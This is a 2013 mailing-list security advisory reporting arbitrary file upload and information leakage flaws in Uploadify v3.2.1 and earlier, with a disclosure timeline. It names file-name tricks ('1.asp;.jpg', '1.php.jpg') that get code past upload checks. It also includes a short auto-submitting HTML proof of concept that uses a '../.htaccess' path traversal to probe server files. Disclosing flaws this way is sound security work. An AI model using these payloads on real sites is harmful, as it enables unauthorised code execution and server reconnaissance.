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AFU and IL vulnerabilities in Uploadify

From: "MustLive" <mustlive () websecurity com ua>
Date: Fri, 25 Oct 2013 15:27:30 +0300

Hello list!

These are Arbitrary File Uploading and Information Leakage vulnerabilitiesin Uploadify. The same as in June with previous vulnerabilities inUploadify, in September the developers just ignored my warnings, even I sentletter to multiple their e-mail addresses.


-------------------------
Affected products:
-------------------------

Vulnerable are Uploadify v3.2.1 and previous versions.

-------------------------
Affected vendors:
-------------------------

Reactive Apps
http://www.uploadify.com

----------
Details:
----------

Arbitrary File Uploading (WASC-31):

Code Execution attack via file uploading. There are two methods of codeexecution: by using of symbol ";" (1.asp;.jpg) in file name (IIS) and bydouble extension (1.php.jpg) (Apache with special configuration).


Information Leakage (WASC-13):

Checking arbitrary file existence at the server.

Uploadify IL.html

<html>
<head>

</head>
<body onLoad="document.hack.submit()">

<form name="hack" action="http://site/uploadify/check-exists.php";method="post">

<input type="hidden" name="filename" value="../.htaccess">
</form>
</body>
</html>

------------
Timeline:

------------

2013.09.20 - announced at my site.
2013.09.21 - informed developers on multiple e-mails.
2013.10.24 - disclosed at my site (http://websecurity.com.ua/6777/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site

http://websecurity.com.ua


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AFU and IL vulnerabilities in Uploadify MustLive (Oct 25)